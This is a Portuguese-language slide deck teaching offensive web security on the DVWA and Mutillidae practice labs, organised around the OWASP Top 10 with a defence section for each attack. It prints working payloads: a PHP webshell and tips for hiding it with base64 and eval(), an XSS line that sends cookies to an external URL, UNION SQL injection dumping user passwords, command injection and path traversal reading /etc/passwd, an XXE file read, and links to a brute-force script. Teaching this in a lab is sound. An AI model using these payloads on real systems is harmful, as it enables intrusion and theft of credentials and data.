Você está na página 1de 145

Segurança Ofensiva em

Sistemas Web

Jean Rafael Tardem Delefrati


O que é uma aplicação web?
● Geralmente é um SGBD (sistema de
gerenciamento de banco de dados)
● Composto de server-side e client-side
Client-Side

Navegador
● Interpretador da linguagem
● Dados de aplicação
– Cookies
– Banco de dados

Renderizadores
– DOM
– WebGL
– CSS
Server-Side
● Servidor de aplicação
● Pré-compilador
● Banco de dados
● Sistema de arquivos
● A maior parte dos ataques a aplicações web acontecem
geralmente na área do servidor, porque os programadores
deixaram brechas de segurança em seus sistemas (não
validando entradas de usuários, por exemplo) ou por má
confguração.
Porque querem invadir meu
servidor?

Na maioria das vezes:
– Dados de usuários
– Espalhar Malware
– Recursos
– $$$ - propaganda, ransomware etc.
– Para provar que pode


Na internet todos são alvos em potencial.
Porque explorar falhas de
segurança web?
● Conhecimento
● Experiência
● Agilidade de resposta
É ilegal?
Não é ilegal saber sobre falhas nem explorar as
mesmas, desde que:

Seja em uma aplicação que você mesmo fez e está
testando a segurança da mesma (inclusive é
recomendado que se faça isso);
● Tenha permissão expressa do dono da aplicação;
● Esteja participando de concursos legais de CTF
(capture-the-fag);
● Seja em um ambiente próprio para tal;
Campo de Trabalho

Pentester;
● Pesquisador de vulnerabilidades;

Bug-bounter;
● Outros cargos ligados à área de segurança;
● Programadores, SysAdmins, DBAs e
engenheiros de software com uma base sólida de
segurança também são mais visados no mercado
de trabalho
DVWA

Damn Vulnerable Web Application


DVWA
● Vulnerável propositalmente
● Para que alunos, professores e profssionais
da área de segurança possam treinar e
aprender técnicas de invasão e código
seguro
● Aprender como fazer ataques, identifcar e
se defender quando eles acontecerem com
aplicações na vida real
DVWA - segurança

Jamais deve ser instalado em servidores ou na
nuvem

De preferência em máquinas virtuais com porta em
NAT

Mesmo em redes internas seu uso pode ser perigoso

Sempre que parar de usar, fechar a máquina virtual
● A porta da aplicação não deve ser acessível de fora do
seu computador
DVWA - Vagrant

Instalar Vagrant (https://www.vagrantup.com/)
– Verifcar se foi instaladono terminal:
vagrant --version

Instalar Virtualbox (https://www.virtualbox.org/)


Importante! Pode haver incompatibilidade entre a
versão do Vagrant e do Virtualbox, especialmente
no Windows, de preferência atualize os mesmos
para a última versão se já tiver um deles instalado
no seu computador
DVWA - Vagrant

● Se aparecer a versão instalada está correto


DVWA - Vagrant

Instalar Vagrant (https://www.vagrantup.com/)
– Verifcar se foi instalado: vagrant --version

Instalar Virtualbox (https://www.virtualbox.org/)

Copiar o anexo “Vagrantfle” da apostila e salvar em um arquivo com o nome
Vagrantfle (sem extensão e a primeira letra maiúscula)
– Por exemplo, em c:\vagrant\
– Para criar o arquivos sem extensão no Bloco de Notas, salve o arquivo com aspas, por exemplo
"Vagrantfle"

Na mesma pasta do seu arquivo “Vagrantfle” criar uma pasta com o nome html
– Exemplo: c:\vagrant\html\

Abrir a pasta do arquivo Vagrantfle no prompt de comando ou terminal
– Exemplo cd c:/vagrant/


vagrant --version

vagrant up

vagrant ssh

vagrant destroy && vagrant up
DVWA - Vagrant

Copiar o anexo “Vagrantfle” da apostila e salvar em um arquivo
com o nome Vagrantfle (sem extensão e a primeira letra
maiúscula)
– O exemplo a seguir usa o editor de textos Atom (https://atom.io/), mas
qualquer editor de textos funciona. Para criar o arquivos sem extensão
no Bloco de Notas, salve o arquivo com aspas, por exemplo "Vagrantfle"
DVWA - Vagrant
● Colar o conteúdo do anexo “Vagrantfle” no arquivo:
DVWA - Vagrant
● Colar o conteúdo do anexo “Vagrantfle” no arquivo:
DVWA - Vagrant
● Colar o conteúdo do anexo “Vagrantfle” no arquivo:
DVWA - Vagrant
● Colar o conteúdo do anexo “Vagrantfle” no arquivo:
DVWA – Vagrant - Comandos
● Iniciar máquina virtual
– vagrant up
● Acessar a máquina virtual por SSH
– vagrant ssh
● Parar máquina virtual
– vagrant halt
● Resetar máquina do zero (em caso de falha
catastrófca)
– vagrant destroy && vagrant up
DVWA - Vagrant
● Salvar o arquivo
● Criar uma pasta chamada “html” na mesma
pasta que está o arquivo Vagrantfle (não
obrigatório)
● Acessar pelo prompt de comando/terminal a
pasta e executar o comando para iniciar a
máquina virtual:
vagrant up
DVWA - Vagrant
DVWA - Vagrant
DVWA
● Se não acontecer nenhum problema na
instalação, acessar o endereço a seguir em
qualquer navegador:
– http://localhost:8080/
DVWA
DVWA

Usuário: admin
Senha: password
DVWA
DVWA
SQL Injection
SQL Injection
● Injeção de código SQL em uma query
através de qualquer dado vindo do usuário
(exemplo: formulários)
● Construção da query com os dados do
usuário
● Pode permitir CRUD nas tabelas e no banco
de dados, download de arquivos e em alguns
casos até upload de arquivos
SQL Injection
SQL Injection
● Como funciona?
– Analisamos a funcionalidade normal
– Testamos quebrar o sistema
– Injetamos o código básico
– Experimentação
SQL Injection

Demonstração
SQL Injection
como se proteger?
● Evitar criação de queries (interpretadores)
● Usar prepared statements (comandos preparados)
● Nunca confar nos dados do usuário
– Limpar e validar dados (mesmo os que não vêm de
formulários)
– Sempre que possível usar listas brancas
– Desabilitar mensagens de erro
● Sugestões: modo impossible do vagrant
Falha de Criptografia
Falha de criptografia


Hash md5: 5f4dcc3b5aa765d61d8327deb882cf99
– 128-bits de entropia

Rainbow tables
– https://hashkiller.co.uk/md5-decrypter.aspx
– https://crackstation.net/
– https://www.md5online.org/
– etc

Timing attack
Falha de criptografia


Hash md5: 5f4dcc3b5aa765d61d8327deb882cf99
– 128-bits de entropia

Não é criptografa

Não é codifcação

É uma função de dispersão criptográfca unidirecional

Serve para gerar um código “único” para uma string

md5(voce nunca sabe o que tem nesta string) =
de6ecf04c264d8ec2170a227199af52f

md5(voce nunca sabe o que tem nessa string) =
853d15a2e66a3e495a27b6cb6195821c
Falha de criptografia
explorar

Rainbow table:
– https://project-rainbowcrack.com/table.htm

Explorar
– Burp Suite (Intruder)
– Serviços online:

https://www.md5online.org/

http://md5decrypt.net/

https://hashkiller.co.uk/md5-decrypter.aspx

https://md5hashing.net/hash/md5/

Etc
Falha de criptografia
como se proteger
● Outras hashs (BlowFish, até 448-bits)
● Salgar
Exposição de dados sensíveis
Exposição de dados sensíveis
● sudo cp
/var/www/html/confg/confg.inc.php.dist
/var/www/html/confg/confg.inc.php
● Index of:
– http://localhost:8080/confg/
Exposição de dados sensíveis

Arquivos perigosos:
– .dist, bck, .bak, .backup, .sql, .env (entre outros)

robots.txt – pode conter endereços que o desenvolvedor
não quer que os buscadores encontrem, como endereço
de admistradores, phpmyadmin etc

sitemap.xml – se mal confgurado pode mostrar
arquivos que só deveriam ser acessíveis com restrição
(usuário e senha, por exemplo)

README.txt, version.txt, CHANGELOG.md – podem
mostrar quais sistemas sua aplicação usar e algum
deles está desatualizado e em caso de um 0day podem
ser usados para encontrar vulnerabilidades em massa
Exposição de dados sensíveis
● Pesquisas no Google:
– “index of”
– fletype:bck (ou .dist, .bak, .backup, .sql, .env)
– Palavras chave em sistemas conhecidos, como
API_KEY, PRIVATEKEY etc
● Atenção! Sua conta ou IP podem ser
bloqueados pelo Google se fzer muitas
pesquisas dessas
Upload de arquivos inseguros
Upload de arquivos inseguros
● Formulários que:
– Não restringem ou tem problema na restrição
do tipo de arquivos
– Têm falhas na verifcação de arquivo
– Dependem de validação no lado do cliente
– Não verifcam o conteúdo dos arquivos
– Não restrigem tamanho de arquivos
Upload de arquivos inseguros
● Permite visualizar arquivos e conteúdos que não
deveriam ser visíveis (até mesmo fora da pasta
pública)
● Permite abrir, gravar, editar, excluir e executar
arquivos com as mesmas permissões que o web
server (Apache/Nginx/etc.)
● Pode permitir que arquivos maliciosos possam ser
usados em campanhas de distribuição de malware
usando o seu servidor/domínio
● Pode ser usar seus recursos de servidor para
minerar criptomoedas (por exemplo)
Upload de arquivos inseguros –
como explorar
● Verifcar a funcionalidade do servidor
● Se o arquivo pode ser enviado, alguém vai
poder visualizar (dica de localização)
● Se não souber onde o arquivo foi parar, é
possível tentar adivinhar (pasta uploads,
envios, tmp, temp)
● Criar uma webshell:
Upload de arquivos inseguros
● Exemplo de webshell:
<?php echo('<pre>' .
@shell_exec($_GET['cmd']) . '</pre>');
● Além de shell_exec:
– exec
– passthru()
– system()
– preg_match(//e)
– ``
Upload de arquivos inseguros

Se houver uma segurança rudimentar no
servidor que bloqueie palavras chave, é possível
codifcar com base64 e utilizar a função eval()

Os comandos podem ser inseridos dentro de
outros arquivos PHP ou até mesmo podem ser
escondidos em outros arquivos, como imagens ou
arquivos de texto

Tentar combinações, com outros arquivos (shell
em um arquivo, eval() em outro) ou com outras
vulnerabilidades como inclusão de arquivos
locais
Upload de arquivos inseguros –
segurança errada
● Lista negra:
if ($extensao == ‘php’) { exit(0); }
● Diferença de extensões (pHP, PhP),
extensões alternativas (phtml, php5)
● Outras vulnerabilidades: XXE (arquivo xml)
● addslashes ou mysql_real_escape_string
Upload de arquivos inseguros -
proteção

Verifcar nome do arquivo (além da extensão)

Remover non-unicode (nulo, newline etc)

Remover pontuação e barras

Verifcar conteúdo

Limitar tamanho (max e min)

Renomear o arquivo

Não confar o content-type
Inclusão de arquivos locais
Inclusão de arquivos locais
● Quando o programador utiliza o nome de
arquivos em parâmetros do client-side.
Exemplo:
● arquivos.php?arquivo=conteudo1
<?php
$arquivo = $_GET['arquivo'];
include($arquivo . ".php");
Inclusão de arquivos locais
● Permite inclusão e execução de arquivos
● Permite a inclusão de arquivos de texto ou outro
formato não interpretado
● Mesmo que o arquivo não tenha a extensão
correta (exemplo .php), ainda pode ser executado
como se fosse naquele formato (exemplo, PHP)
● Pode ser usado em conjunto com o upload de
arquivos inseguros
Inclusão de arquivos locais
● http://localhost:8080/vulnerabilities/f/?
page=fle1.php
● http://localhost:8080/vulnerabilities/f/?
page=../../robots.txt
● http://localhost:8080/vulnerabilities/f/?
page=/etc/passwd
Inclusão de arquivos locais -
outros
● ?arquivo=pagina.php
● ../
● %2e%2e%2f e %2e%2e%5c ../ e ..\
● ..%c0%af ../
● .ext%00.jpg
● URLs externas
Inclusão de arquivos locais -
proteção
● Não usar
● Se realmente precisar utilizar, usar lista-
branca (gravando antes quais arquivos
podem ser executados)
XSS e CSRF
(Cross-site script e
Cross-site request forgery)
XSS e CSRF
● São tipos de injeção onde o usuário insere
um código malicioso no sistema, geralmente
utilizando formulários
● O envio depende de uma vulnerabilidade no
server-side, mas afeta outros usuários no
client-side
● O código é executado no navegador das
vítimas porque o navegador não tem como
distinguir o que é código “nativo” do website
do que é código enviado por outros usuários
XSS e CSRF
● Injeção de script (geralmente JavaScript)
● Pode ser <script> ou qualquer outra forma
de execução de script no client-side.
Exemplo, parâmetros onLoad/onError em
imagens ou outros elementos HTML
● Permite o envio de dados de usuários para
outros servidores (XSS) ou alterar dados de
outro usuário (CSRF)
XSS e CSRF
● <script>alert('ola');</script>
● <script>alert(document.cookie);</script>
● JoaoBobo<script>fetch('*urlexterna*?
c="'+document.cookie+'"');</script>
XSS e CSRF
● XSS – enviar dados para fora da aplicação
● CSRF – executar ações com o usuário logado
XSS e CSRF - proteção

NÃO CONFIAR nos dados dos usuários!

Idealmente não permitir HTML (mesmo campos
como <img> ou <svg>)

Evitar remoção manual: <sc<script>ipt>

Codifcar exibição de dados

<noscript>
● Tokens

Validar sessões (IP, User-Agent)
Ataque de força bruta
Ataque de Força Bruta
● Várias formas de executar, mas geralmente
segue a seguinte estrutura:
– Utiliza uma lista predefnida
– Faz requisições utilizando os itens desta lista
– Analisa o retorno
● Pode utilizar um dicionário (com ou sem
mutações)
● Ou no modelo tradicional (gerando os
caracteres a cada requisição)
Ataque de Força Bruta
● Pode ser utilizado para:
– Autenticação (ex. login/senha ou token)
– Encontrar dados escondidos (ex. Pastas, URLs,
arquivos escondidos no servidor)
● É necessário um programa/aplicação para
fazer as requisições
Ataque de Força Bruta
● Exemplos de word lists:
– Cain & Abel (1.069.968 bytes compactados)
– John The Ripper (10.934 bytes compactados)
– shortKrak (4.123 palavras)
– Listas de usernames/passwords vazados
– Listas com passwords mais comuns
– Nomes comuns
– Dicionários
– Entre outras
Ataque de Força Bruta - proteção
● Lockout
● Captcha
● Testar senhas;
● 2fa;
● Detecção/monitoramento;
Ataque de força bruta
Ataque de Força Bruta
● cURL
● Wordlist
● Shell

● http://104.236.64.165/web/bruteforce.sh
● http://104.236.64.165/web/shortKrak.txt
Ataque de Força Bruta - proteção
● Captcha
● Testar senhas;
● 2fa;
● Monitoramento;
Command Injection
Command Injection
● Como o SQL Injection
● Injeção de comando para ser executado em
um servidor
Command Injection
● ping.php?ip=8.8.8.8

<?php
$ip = $_GET['ip'];
$comando = "ping $ip";
$resultado = shell_exec($comando);
echo("$resultado");
Command Injection
● Comando usando caracteres chave como:
& && ; |
● Permite alterações no SO com a mesma
permissão que o servidor rodando a
aplicação
Command Injection - explorando
● Efetivamente funciona como uma webshell
implementada pelo próprio desenvolvedor
● Como explorar:
– Analise de comportamento correto
– Tentativa e erro
Command Injection - Exemplos
● 127.0.0.1 & ls
● 127.0.0.1 ; ls
● 127.0.0.1 | ls ../..
● 127.0.0.1 | whoami
● 127.0.0.1 | cat /etc/passwd
Command Injection – como
evitar
● Evitar comandos sempre que possível
● Não permitir ao usuário decidir quais
comandos executar
● Validar dados
● PHP:
addslashes != escapeshellcmd+escapeshellarg
XSS DOM e Stored
XSS DOM e Stored

● Mesmos comandos que XSS (Refected)


● No DOM precisamos “sair” do
<select><option>
● No Stored os dados fcam gravados
Burp Suite
Burp Suite

● Proxy
● Man-in-the-middle

● https://portswigger.net/burp/communitydo
wnload
Burp Suite
● Intruder
– Ferramenta para brute-force
– Permite escolher quais dados vão ser trocados a
cada iteração
● Repeater
– Repete o mesmo comando
– Facilita testes de exploração
Burp Suite

Sequencer
– Permite analisar dados como cookies e prever
próximos valores
● Decoder
– Ferramentas de codifcação/decodifcação

Comparer
– Compara arquivos ou strings
– Utilizar com o Intruder, por exemplo
DVWA - Modo Intermediário
(medium)
Modo Intermediário (medium)
● Sistema com segurança mínima e práticas
ruins
● Melhorar a técnica
SQL Injection
SQL Injection - medium
● Adiciona um select no formulário
(segurança no client-side)
● Bypass com:
– cURL
– Alterando o request no browser
– Alterando o request no Burp
● Mesmos códigos de invasão que no low
SQL Injection - medium

Adiciona um select no formulário (segurança no client-side)

Bypass com:
– cURL
– Alterando o request no browser (quando possível)
– Alterando o request no Burp

Mesmos códigos de invasão que no low não funcionam (aspas)
– '
– ' OR 1='1

Número

mysqli_real_escape_string()
SQL Injection – errada
https://pastebin.com/pifpwkmv
● ' AND 1=0 UNION SELECT NULL, TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES#
● ' AND 1=0 UNION SELECT TABLE_SCHEMA,
CONCAT(TABLE_NAME,' - ',COLUMN_NAME) FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='users'#
● ' AND 1=0 UNION SELECT NULL, CONCAT(frst_name,
' / ', last_name, ' / ', user, ' / ', password) FROM users #
Ataque de força bruta - Burp
Ataque de Força Bruta - Burp
● Proxy
– Ativar interceptação
– Fazer um teste de envio no navegador com
qualquer valor no usuário e na senha
– Em Action selecionar a opção “Send to Intruder”
– Desativar interceptação
Ataque de Força Bruta - Burp
● Intruder
– Cluster bomb
– Limpar variáveis
– Re-adicionar variáveis
– Payload:
● Campo 1 simplelist “admin”
● Campo 2 simplelist “shortKrak.txt”
– Start attack
Ataque de Força Bruta - Burp
● Intruder
– Verifcar diferenças
– Selecionar diferentes
– Send to Comparer (responses)
● Comparer
– Selecionar nas duas listas
– Compare... Words
– Sync views
HTTPS e Certificados SSL
HTTPS e Certificados SSL

Encriptam os dados para evitar ataques MITM

Chave pública/privada

Autoridades Certifcadoras internacionais
garantem que o certifcado é seguro

Chrome 68 (última versão) marca todos os sites
sem HTTPS como inseguros

Certifcados free: https://letsencrypt.org/

HTTPS não garante que seu site é seguro! Só
garante que a comunicação com o cliente, a
princípio, é encriptada de ponta a ponta
BURP com SSL
BURP com SSL
BURP com SSL
● Acessar:
– http://burp
● Baixar certifcados em CA Certifcate
BURP com SSL
● Abrir as preferências do Firefox e pesquisar
por Certifcados

● Clicar em “Ver Certifcados”


BURP com SSL
● Clicar no botão “Importar” e importar o
arquivo baixado do BURP
BURP com SSL
● Para remover, é necessário fechar e abrir
essa tela e excluir a autoridade certifcadora
PortSwigger
OWASP
OWASP

A Open Web Application Security Project (OWASP) é
uma organização sem fns lucrativos focada em
melhorar a segurança de softwares
● Qualquer pessoa pode participar da comunidade e
todos os materiais da comunidade têm licença aberta
e são gratuitos

Lista com as top 10 maiores vulnerabilidades
votadas pela comunidade:
https://www.owasp.org/index.php/Category:OWASP_
Top_Ten_Project

A última lista lançada foi em 2017, mas a versão mais
recente em português foi lançada em 2013
NOWASP / Mutillidae
Mutillidae
● Sistema para testes como o DVWA
● Muito mais opções para explorar
● Possui hints e tutoriais
Mutillidae - Instalação

Na pasta do vagrant, renomear a pasta html para
dvwa

Copiar o mutillidae para esta pasta e renomear para
html

Acessar a pasta do vagrant e acessar o ssh com o
seguinte comando:
– vagrant ssh
● Remover o seguinte pacote:
– sudo apt-get purge javascript-common
● Sair do SSH com o comando:
– exit
Mutillidae - Instalação

Ao acessar com o navegador o http://localhost/ vai
dar um erro, é esperado, precisamos trocar a senha
do banco de dados no arquivo:
– html/includes/database-confg.php

Colocar no DB_PASSWORD o seguinte:
– 'p@ssw0rd'
● Atualizar o navegador

Clicar em setup/reset the DB

Se aparecer a seguinte mensagem, está tudo OK:
– No PHP or MySQL errors were detected when resetting
the database.
Top 10 OWASP
OWASP
● A versão das top 10 maiores
vulnerabilidades de 2017 muda a
metodologia e adiciona novas categorias
● Adiciona outras linguagens e servidores
(node.js, ex.) e outros métodos (API,
RESTful)
● Mais vulnerabilidades no client-side
(Angular, React)
OWASP
● A lista top 10 da OWASP considera as
vulnerabilidades em uma escala de 1 a 3:
OWASP 1 - Injection
1. Injection (injeção)
● SQL Injection
● Command Injection
● Scripts
– Ex: Sendmail
(https://www.exploit-db.com/exploits/41910/)
● O Mutillidae provê duas listas bem grandes
de vulnerabilidades, a maioria tem o mesmo
princípio, injetar um código ou comando
1. Injection (injeção)

● Vetores: 3/3
● Prevalência: 2/3
● Detectabilidade: 3/3
● Impacto técnico: 3/3
OWASP 2 - Broken Authentication
2. Broken Authentication
(autenticação "quebrada")
● Permite ataques automáticos de força-bruta

Permite senhas fáceis como sequências de números,
"senha", "admin/admin"

Usa processos fracos ou inefcientes em opções de "esqueci
minha senha"

Salva senhas em texto simples ou com encriptação fraca

Expõe a Session ID na URL

Não atualiza corretamente a Session ID após um login
efetuado com sucesso

Não tem ou tem validação de multi-fator fraca

Não invalida ou destrói a Session ID no logout,
especialmente SSO (Single sign-on)
2. Broken Authentication
(autenticação "quebrada")

● Vetores: 3/3
● Prevalência: 2/3
● Detectabilidade: 2/3
● Impacto técnico: 3/3
OWASP 3 - Sensitive Data Exposure
3. Sensitive Data Exposure
(exposição de dados sensíveis)
● robots.txt
● phpinfo()
● PHPMyAdmin
● Páginas administrativas “secretas”
● Sistema não criptografado
● Criptografa fraca ou falha
● Problema de SSL (Heartbleed)
3. Sensitive Data Exposure
(exposição de dados sensíveis)
3. Sensitive Data Exposure
(exposição de dados sensíveis)

● Vetores: 2/3
● Prevalência: 3/3
● Detectabilidade: 2/3
● Impacto técnico: 3/3
OWASP 4 - XML External Entities (XXE)
4. XML External Entities (XXE)
● Processador de XMLs permite a inclusão de
arquivos internos ou externos
● Exemplo:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxeattack SYSTEM
"fle:///etc/passwd">
]>
<xxx>&xxeattack;</xxx>
4. XML External Entities (XXE)

● Vetores: 2/3
● Prevalência: 2/3
● Detectabilidade: 3/3
● Impacto técnico: 3/3
OWASP 5 - Broken Access Control
5. Broken Access Control
(controle de acesso "quebrado")
● Local File Inclusion (LFI)
● Remote File Inclusion (RFI)
● Escalação de permissões (2013: A7-Missing
Function Level Access Control)
● Sistema que não é bem testado permitindo
acesso direto aos arquivos (2013: A4-
Insecure Direct Object References)
5. Broken Access Control
(controle de acesso "quebrado")

● Vetores: 2/3
● Prevalência: 2/3
● Detectabilidade: 2/3
● Impacto técnico: 3/3
OWASP 6 - Security Misconfiguration
6. Security Misconfiguration
(más-configurações de segurança)

Confgurações incorretas do:
– Sistema operacional
– Servidor web
– Banco de dados
– Framework
– Pré-compilador
– etc

Exemplos:
– Index of
– Troca de método (POST/GET)
– Sistema fnge ser um outro User-Agent
– Upload de arquivos sem limite, ou confgurado no client-side
– Click jacking
– Cross-site framing
6. Security Misconfiguration
(más-configurações de segurança)

● Vetores: 3/3
● Prevalência: 3/3
● Detectabilidade: 3/3
● Impacto técnico: 2/3
OWASP 7 - Cross-Site Scripting (XSS)
7. Cross-Site Scripting (XSS)

● Execução de código malicioso no client-side


● Pode permitir o roubo de dados (sessão, por
exemplo)
● <script></script>
● <img onload>
● <img onerror>
● <img src>
● Etc...
7. Cross-Site Scripting (XSS)


Refected
– GET (URL)
– Formulário (texto/select/hidden)
– Arquivo externo (RFI, iframe)
– CSS
– HTML5 Web Storage
– XML
– Dados do Navegador
– Referer
– Cookies

Persistent
– Gravando dados no banco de dados
– Gravando logs
7. Cross-Site Scripting (XSS)

● Vetores: 3/3
● Prevalência: 3/3
● Detectabilidade: 3/3
● Impacto técnico: 2/3
OWASP 8 - Insecure Deserialization
8. Insecure Deserialization
(desserialização insegura)
● É um ataque mais técnico e atualmente não
existem muitas ferramentas que fazem o
ataque automaticamente
● Se relaciona a objetos ou estruturas de
dados em aplicações ou APIs que são
serializados/desserializados
● Intenção de ganhar funções/permissões não
previstas pelo sistema e permitir execuções
de código malicioso
8. Insecure Deserialization
(desserialização insegura)

● Vetores: 1/3
● Prevalência: 2/3
● Detectabilidade: 2/3
● Impacto técnico: 3/3
OWASP 9 - Using Components with Known
Vulnerabilities
9. Using Components with Known
Vulnerabilities (utilização de componentes
com vulnerabilidades conhecidas)
● Componentes
– Pacotes
– Bibliotecas
– Aplicações
– Servidores (aplicação, banco de dados, etc)
– Linguagens
– Anti-vírus/Firewall
– Etc

Utilização de componentes externos sem conhecer de
forma integral como funcionam

Componentes desatualizados
● Componentes com problemas não corrigidos
9. Using Components with Known
Vulnerabilities (utilização de componentes
com vulnerabilidades conhecidas)

● Vetores: 2/3
● Prevalência: 3/3
● Detectabilidade: 2/3
● Impacto técnico: 2/3
OWASP 10 - Insufficient Logging &
Monitoring
10. Insufficient Logging & Monitoring
(logs e monitoramento insuficiente)
● Quando um sistema não grava logs sufcientes, ou
quando não tem um sistema de monitoramento
adequado
● Os ataques mais bem sucedidos são feitos a partir
de sondagem de código, um usuário mal
intencionado pode não conhecer bem um sistema,
mas se tiver tempo de testar muitas probabilidades
provavelmente vai encontrar alguma
vulnerabilidade
● Um sistema que não barre o usuário nesta fase de
testes, ou que pelo menos tenha as informações de
como um ataque aconteceu é muito inseguro
10. Insufficient Logging & Monitoring
(logs e monitoramento insuficiente)

● Vetores: 2/3
● Prevalência: 3/3
● Detectabilidade: 1/3
● Impacto técnico: 2/3
OWASP
● É recomendável e importante que se
pesquise e se leia o documento com as top
10 vulnerabilidades da OWASP. No entanto,
o mesmo pode ser seguido como um guia
básico, o aluno não deve basear todo o seu
conhecimento nestas 10 vulnerabilidades,
mas usar o documento como uma
plataforma para estudos mais
aprofundados.
Obrigado :)

Você também pode gostar